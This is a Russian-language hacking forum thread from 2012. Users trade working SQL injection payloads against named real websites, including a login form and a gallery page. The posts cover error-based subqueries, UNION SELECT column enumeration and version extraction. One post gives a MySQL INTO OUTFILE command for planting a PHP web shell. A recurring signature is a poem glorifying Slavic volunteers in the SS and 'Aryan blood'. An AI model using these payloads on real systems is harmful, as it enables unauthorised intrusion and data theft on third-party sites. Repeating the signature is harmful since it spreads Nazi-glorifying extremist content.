 |
|
07.03.2012, 20:28
|
|
Новичок
Регистрация: 09.01.2012
Сообщений: 21
С нами:
7548086
Репутация:
0
|
|
Сообщение от None
вместо version() свой запрос
lalala from table
А как вывести только одну колонку ? Пытаюсь вот таким запросом http://hostdb.ru/auth/login?myPassword=WCRTESTINPUT000001&type=1&myLogin =1'and(select*from(information_schema.tables))and' Но в ответ пишет:
Сообщение от None
SELECT * FROM menu_items WHERE link = '1'and(select*from(information_schema.tables))and' '. Operand should contain 1 column(s)
|
|
|
07.03.2012, 20:28
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от stan0009
вопрос таков:
если я имею рутовский доступ к БД, что я теоретически смогу сделать?
Вплане заливки шелла, правки индекса...
Например, через тулзу MySQL query browser
полный доступ к базе MySQL, создание/уничтожение
и читать/писать файлы (если есть достаточно прав у пользователя MySQL в системе)
|
|
|
|
07.03.2012, 20:36
|
|
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами:
7921046
Репутация:
53
|
|
Сообщение от stan0009
вопрос таков:
если я имею рутовский доступ к БД, что я теоретически смогу сделать?
Вплане заливки шелла, правки индекса...
Например, через тулзу MySQL query browser
если разрешён коннект с удалённых ip для пользователя, то ты сможешь с неё подконнектится, иначе нет
Сообщение от bodrich
А как вывести только одну колонку ? Пытаюсь вот таким запросом
http://hostdb.ru/auth/login?myPassword=WCRTESTINPUT000001&type=1&myLogin =1'and(select*from(information_schema.tables))and'
Но в ответ пишет:
Подзапрос может возвращать только одно значение, тобишь нельзя использовать *, там же написано. Если надо вернуть несколько колонок сразу, то надо сначала их объединить оператором типа concat_ws(0x3a,column_1,column_2,...,column_n), где 0x3a = : в hex формате. А ещё предвижу ошибку subquery returned more than one row(ну или как-то так), это потому что надо использовать лимит в подзапросе.
|
|
|
|
07.03.2012, 20:50
|
|
Участник форума
Регистрация: 30.07.2010
Сообщений: 118
С нами:
8308406
Репутация:
0
|
|
Melfis
ессесно я к ней и подключаюсь и все что хочешь могу делать.
перефразирую:
какие мне команды отправлять БД чтобы загрузить файл и вообще возможно ли это?
|
|
|
|
07.03.2012, 21:33
|
|
Участник форума
Регистрация: 25.12.2011
Сообщений: 103
С нами:
7569686
Репутация:
5
|
|
Сообщение от stan0009
Melfis
ессесно я к ней и подключаюсь и все что хочешь могу делать.
перефразирую:
какие мне команды отправлять БД чтобы загрузить файл и вообще возможно ли это?
при наличии file_priv =Y
SELECT '' INTO OUTFILE '/dir/name/shell.php'
|
|
|
|
08.03.2012, 17:23
|
|
Новичок
Регистрация: 13.01.2012
Сообщений: 6
С нами:
7542326
Репутация:
0
|
|
why i can not see vul columns no??
Код:
http://www.myhomestory.com/interior-doors-gallery.php?id=-1%20UnioN%20selEct%20all%200,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1--
|
|
|
|
08.03.2012, 17:26
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
becouse id=1+and+1=0
http://www.myhomestory.com/interior-doors-gallery.php?id=1+and+1=0%20UnioN%20selEct%20all%20 0,version%28%29,2,3,4,5,6,7,8,9,0,1%20,2,3,4,5,6,7 ,8,9,0,1--
this is forum Russian,translate write... уже наконец то
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
08.03.2012, 17:34
|
|
Новичок
Регистрация: 13.01.2012
Сообщений: 6
С нами:
7542326
Репутация:
0
|
|
эх жаль. Но как ты его нашел??
|
|
|
|
08.03.2012, 17:36
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
Сообщение от d4rkn3ss
эх жаль. Но как ты его нашел??
чего нашел?, просто создал не верную логику
или же так http://www.myhomestory.com/interior-doors-gallery.php?id=111111111111111111111%20UnioN%20sel Ect%20all%200,version%28%29,2,3,4,5,6,7,8,9,0,1%20 ,2,3,4,5,6,7,8,9,0,1--
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
08.03.2012, 17:37
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от d4rkn3ss
эх жаль. Но как ты его нашел??
Ты меня порвал Ты должен сделать так, чтобы инфа с БД не вывелась(1=0, 999999.9).
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
